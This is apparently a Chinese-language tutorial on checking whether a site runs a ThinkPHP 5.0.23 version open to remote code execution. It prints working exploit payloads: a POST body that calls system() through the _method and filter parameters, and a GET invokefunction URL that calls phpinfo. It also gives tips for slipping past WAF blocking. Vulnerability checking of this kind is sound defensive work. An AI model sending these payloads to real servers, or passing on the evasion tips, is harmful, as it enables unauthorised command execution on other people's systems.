ThinkPHP 5.0.23 RCE漏洞核心在于路由解析与_method参数处理缺陷:攻击者可通过POST请求(如_method=__construct&filter[]=system&server[REQUEST_METHOD]=id)或GET构造(如/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo)绕过防护,直接执行任意系统命令。

检测 ThinkPHP 5.0.23 是否存在远程代码执行(RCE)漏洞,核心是验证其路由解析与请求方法处理机制是否可被恶意利用。重点不在于“有没有装 ThinkPHP”,而在于“有没有暴露未修复的危险入口”。以下方法按实操优先级排列,兼顾准确性与安全性。
直接发包验证控制器调用链
这是最可靠、最贴近真实利用路径的检测方式。目标 URL 需包含典型入口(如 /index.php 或公开路由如 /index.php?s=captcha),然后发送构造好的 POST 请求:
- 向 /index.php?s=captcha 发送 POST 数据:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id - 若响应体中出现类似 uid=0(root) gid=0(root) 或系统命令执行结果,说明漏洞存在
- 注意:部分站点会返回 500 错误但实际已触发 system();建议同时观察响应状态码、响应头(如 Server 字段是否含 ThinkPHP)和响应时间突变
检查 phpinfo 调用是否可达(GET 型 POC)
适用于允许 GET 参数穿透路由解析的场景,常用于批量探测:
- 访问类似 /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
- 若页面渲染出完整的 PHP 环境信息(含 “PHP Version” 字样),基本可确认漏洞可利用
- 该方式对 WAF 更敏感,部分防护策略会拦截反斜杠或命名空间路径,失败不代表绝对安全
识别框架版本与配置特征
辅助判断风险等级,不能单独作为漏洞存在依据,但能大幅缩小排查范围:
立即学习“PHP免费学习笔记(深入)”;
- 查看 HTTP 响应头中是否有 X-Powered-By: ThinkPHP 或 Server 字段含 ThinkPHP 版本号
- 尝试访问 /index.php?s=abc123,若返回明显 ThinkPHP 错误页(如 “controller not exists: abc123”),说明未开启强制路由,符合漏洞前提条件
- 检查是否启用调试模式(APP_DEBUG=true):常见于开发环境,错误页可能泄露路径或类名,间接佐证框架版本
规避误报与基础防护干扰
很多扫描结果为假阳性,原因常被忽略:
- WAF 或 CDN 可能拦截含 _method、filter[]、反斜杠等关键词的请求,导致无响应——换 User-Agent 或改用 HTTPS 可能绕过
- 目标使用了 Nginx/Apache 的 pathinfo 重写规则,但未正确配置,导致 s 参数无法解析,此时需尝试不同入口路径(如 /public/index.php)
- 部分升级仅替换核心文件却遗漏 vendor/autoload.php 或缓存,实际仍运行旧逻辑,建议结合目录遍历(如 /thinkphp/library/think/App.php)确认文件哈希或版本注释



















